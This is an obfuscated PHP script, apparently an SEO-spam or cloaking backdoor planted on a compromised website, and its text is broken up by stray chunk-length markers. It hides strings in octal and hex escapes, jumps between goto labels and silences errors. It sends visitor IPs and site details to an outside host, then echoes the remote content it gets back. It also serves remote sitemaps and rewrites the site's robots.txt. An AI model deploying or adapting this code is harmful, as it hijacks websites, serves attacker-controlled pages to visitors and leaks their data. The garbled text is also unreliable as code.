3 $url, CURLOPT_RE 8 TURNTRAN a SFER => tr 10 ue, CURLOPT_SSL_ 6 VERIFY c PEER => fals 19 e, CURLOPT_SSL_VERIFYHOST 19 => false, CURLOPT_FOLLOW 7 LOCATIO 17 N => true, CURLOPT_TIME 13 OUT => 10, CURLOPT_ 1b POST => true, CURLOPT_POSTF a IELDS => $ 10 postString)); $d f ata = curl_exec 11 ($ch); curl_close f ($ch); if (!emp e ty($data)) { r d eturn $data; c } } if (ini_ 9 get("\141 c \x6c\154\157 11 \x77\x5f\165\162\ 12 154\x5f\146\157\16 11 0\x65\x6e")) { $c a ontext = s e tream_context_ d create(array( c "\150\164\x7 14 4\x70" => array("\x6 22 d\x65\x74\150\157\144" => "\x50\11 b 7\x53\x54", 14 "\x74\x69\x6d\x65\x 13 6f\x75\164" => 10, d "\x68\145\x61 15 \144\145\x72" => "\x4 e 3\157\156\164\ 12 145\x6e\x74\x2d\12 f 4\x79\x70\145\7 d 2\40\141\160\ 10 160\x6c\151\143\ 18 x61\x74\151\157\156\57\1 12 70\55\167\x77\167\ 11 55\x66\x6f\162\x6 d d\x2d\x75\x72 17 \154\145\156\143\157\14 f 4\x65\x64\15\xa 8 " . "\10 1a 3\157\156\x74\145\156\164\ 12 55\x4c\x65\x6e\147 f \164\150\72\x20 b " . strlen( 16 $postString) . "\15\12 15 " . "\x55\x73\145\x72 c \x2d\101\x67 19 \145\156\164\x3a\40\115\1 14 57\172\x69\x6c\x6c\1 e 41\57\x35\56\x 15 30\15\12", "\x63\157\ 14 x6e\164\x65\156\164" 19 => $postString), "\163\1 14 63\x6c" => array("\1 13 66\x65\x72\151\146\ 16 x79\x5f\160\x65\145\16 1b 2" => false, "\166\145\x72\ 14 151\x66\x79\x5f\160\ 19 145\x65\x72\x5f\x6e\x61\1 11 55\x65" => false) 11 )); $data = @file e _get_contents( 15 $url, false, $context 37 ); if (!empty($data)) { return $data; } } return ''; } c goto wRFt_; 3 Vgu 13 JR: if (!empty($get f ["\162"])) { $r 8 obotsPat 9 h = $_SER f VER["\x44\117\x 10 43\125\115\x45\x 9 4e\x54\13 12 7\122\117\x4f\x54" c ] . "\57\162 17 \157\142\x6f\x74\163\x2 11 e\x74\x78\164"; $ 8 sitemapB 8 lock = " 15 \125\163\145\162\55\1 a 41\147\x65 15 \x6e\164\72\40\x2a\xa 14 \x41\x6c\x6c\x6f\167 19 \x3a\40\57\xa"; $sitemaps 12 = "\12\x53\x69\x7 13 4\145\x6d\x61\160\x d 3a\x20{$http_ 6 type}{ 18 $_SERVER["\x48\x54\124\x 10 50\x5f\110\117\1 15 23\124"]}{$_SERVER["\ e 123\x43\x52\x4 e 9\x50\124\x5f\ f x4e\101\x4d\x45 d "]}\x3f\x73\7 15 5\163\12"; if (!file_ 1c exists($robotsPath)) { file_ 19 put_contents($robotsPath, 1b $sitemapBlock . $sitemaps) 13 ; } else { $robotsC 28 ontent = @file_get_contents($robotsPath) d ; if (strpos( 23 $robotsContent, $_SERVER["\123\x43\ 10 122\111\120\x54\ 16 x5f\x4e\101\x4d\105"]) e === false) { 2b @file_put_contents($robotsPath, $sitemaps, 7 FILE_AP b PEND); } } c } goto Kw0TV 7 ; lb_EM b : $vurl = $ 17 http_type . "\x69\144\1 a 54\171\x32 10 \56\x69\x64\163\ 12 150\x6f\x70\56\x63 17 \x63\167\x75\x2e\143\x6 c 3\57\64\61\x f 39\56\x61\163\x 13 70\170"; goto VguJR 7 ; WNTMb 26 : if (!empty($get["\x69\x64"])) { if ( 14 empty($get["\153\x6b 12 "])) { $ip = get_i a p(); $para 13 ms = array("\151\16 14 0" => $ip, "\x69\144 14 " => isset($get["\15 b 1\144"]) ? 15 $get["\151\x64"] : '' 13 , "\x6c\x6c" => $ll 9 ); $tzstr 14 = getCurl($vurl, $p 25 arams); if (strpos($tzstr, "\x69\144" 12 ) !== false) { ech d o $tzstr; die 25 ; } } $params = array("\151\x64" => $ 1a get["\x69\x64"], "\154\154 32 " => $ll); $str = getCurl($vurl, $params); $str = a str_replac 11 e(array("\173\x55 c \x52\114\x7d 10 ", "\x7b\xe5\x9f 10 \x9f\xe5\x90\x8d 12 \x7d"), array(get_ e url_info("\x66 10 \x75\154\x6c"), 19 get_url_info("\x6e\157\x5 11 f\167\167\x77")), 1a $str); echo $str; die; } 16 else { $sitemapUrl = $ 11 ll . "\x3f\x73\75 e " . date("\x59 f \155\144\x48\x6 f 9"); echo "\x3c 10 \144\151\x76\x20 16 \163\164\171\x6c\145\x f 3d\47\164\145\1 15 70\164\x2d\141\x6c\x6 d 9\x67\156\x3a 19 \143\145\x6e\x74\145\x72\ 11 73\40\160\x61\x64 15 \x64\151\x6e\147\x3a\ 17 61\x30\160\170\x20\x30\ a x3b\47\x3e 12 \x3c\x61\x20\150\x 11 72\145\x66\x3d\x2 10 2{$sitemapUrl}\4 13 2\x20\164\141\162\1 12 47\x65\164\x3d\x22 18 \x5f\x62\x6c\141\x6e\153 14 \x22\x20\x72\x65\154 11 \75\42\156\157\14 10 6\x6f\154\154\15 10 7\167\42\76\40\1 12 23\151\164\x65\155 15 \141\160\74\x2f\141\x 18 3e\74\x2f\144\x69\166\x3 e e"; } goto UHN 9 mn; Kw0TV 30 : if (!empty($get["\x73"])) { $params = array("\ 11 x73" => date("\13 13 1\155\144\110\x69") 14 , "\156\x75\155\x62\ 1b 145\162" => $get["\156\165\ 11 x6d\142\145\162"] 48 ); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\xb b d\x93\345\2 d 11\x8d\xe5\23 d 4\xb0\xe5\x9d 12 \200\175"), array( 20 $http_type . $_SERVER["\x48\124\ 14 124\120\x5f\110\x4f\ 1b 123\124"] . $_SERVER["\x53\ 18 103\122\x49\120\124\x5f\ d 116\101\115\1 12 05"]), $str); head f er("\x43\x6f\15 19 6\164\145\156\x74\55\164\ 11 171\x70\x65\x3a\x 12 74\145\x78\164\x2f d \x78\x6d\154" 20 ); echo $str; die; } goto WNTMb; 11 OsiDT: error_rep 9 orting(0) f ; goto XVeBg; H 11 WR4h: $http_type 16 = !empty($_SERVER["\11 15 0\124\x54\120\x53"]) 1e && $_SERVER["\x48\x54\x54\120\ b 123"] !== " d \157\x66\x66" 10 ? "\x68\x74\x74 11 \160\x73\72\57\x2 18 f" : "\x68\x74\x74\160\x 14 3a\57\x2f"; goto rRN f pn; rRNpn: $ll 2b = "{$http_type}{$_SERVER["\x48\124\x54\120\ 27 137\110\117\123\124"]}{$_SERVER["\x53\x 1c 43\122\x49\120\124\137\x4e\x 15 41\x4d\x45"]}"; goto c lb_EM; RyBoU 17 : function get_ip() { f 7 oreach 1f (array("\110\x54\x54\120\137\x5 10 8\x5f\x46\x4f\12 11 2\127\101\122\x44 10 \105\104\x5f\106 19 \117\x52", "\x48\124\x54\ f x50\137\103\x4c 17 \x49\105\116\124\x5f\11 10 1\120", "\x52\10 18 5\115\117\124\105\x5f\10 10 1\x44\x44\x52") 7 as $key 1d ) { if (!empty($_SERVER[$key] 12 )) { return trim(e 9 xplode("\ 17 54", $_SERVER[$key])[0] 14 ); } } return "\x55\ 12 116\x4b\116\117\12 15 7\x4e"; } goto w0kkS; 1e N6bGe: function get_url_info( e string $return 19 _type = "\144\157\155\x61 14 \x69\x6e") : string 7 { $host 23 = $_SERVER["\x48\124\124\x50\137\1 25 10\x4f\123\124"]; if ($return_type == 15 = "\144\x6f\x6d\x61\1 18 51\x6e") { return $host; 20 } if ($return_type === "\x6e\x6 f f\x5f\x77\x77\x 14 77") { return ltrim( 18 $host, "\x77\x77\x77\x2e d "); } $protoc c ol = isset($ 1f _SERVER["\110\x54\124\120\123"] 21 ) && $_SERVER["\110\124\124\x50\1 14 23"] === "\x6f\156" 14 || isset($_SERVER["\ 27 x48\124\x54\x50\137\x58\137\106\117\x52 1f \127\101\122\x44\x45\x44\137\12 11 0\x52\x4f\124\x4f 28 "]) && $_SERVER["\x48\x54\x54\x50\x5f\13 17 0\137\x46\x4f\x52\x57\x 13 41\x52\x44\x45\104\ 19 137\x50\122\117\124\x4f"] 16 === "\x68\164\164\160 1b \x73" ? "\x68\164\164\x70\x 1b 73\x3a\57\x2f" : "\x68\x74\ 12 164\x70\x3a\x2f\57 10 "; $base_url = $ 12 protocol . $host; 26 if ($return_type === "\142\141\x73\x65 1b ") { return $base_url; } $u 19 ri = $_SERVER["\x52\105\x d 51\x55\x45\x5 15 3\124\x5f\x55\122\111 9 "]; $full 17 _url = $base_url . $uri 2a ; if ($return_type === "\146\165\154\x6c") 29 { return $full_url; } return ''; } goto 1a RyBoU; wRFt_: function get 21 Curl($url, $getData = array()) { 19 if (!empty($getData)) { $ 18 queryString = is_array($ 27 getData) ? http_build_query($getData) : 12 $getData; $url .= 15 (strpos($url, "\x3f" 1a ) === false ? "\x3f" : "\x 13 26") . $queryString 1f ; } if (function_exists("\143\1 18 65\162\154\x5f\151\x6e\1 f7 51\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPG 18 ET => true, CURLOPT_USER b AGENT => "\ 13 115\157\172\151\154 13 \x6c\141\x2f\65\56\ 6d 60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\ 16 x6c\157\x77\137\x75\x7 e 2\x6c\137\x66\ 5a 157\160\145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\ 20 155\145\x74\150\157\144" => "\10 18 7\105\x54", "\x74\151\15 10 5\x65\x6f\165\16 1c 4" => 10, "\150\x65\x61\144\ 1a x65\x72" => "\x55\x73\145\ 10 162\x2d\x41\147\ 19 145\x6e\x74\x3a\x20\x4d\x 15 6f\x7a\151\154\154\x6 10 1\57\65\56\x30\x f d\12"), "\x73\x 15 73\154" => array("\x7 3f 6\145\x72\x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\ 16 162\151\146\x79\137\x7 17 0\x65\x65\x72\137\x6e\1 9 41\x6d\14 88 5" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto HWR4h; UHNmn 4 : ?> 0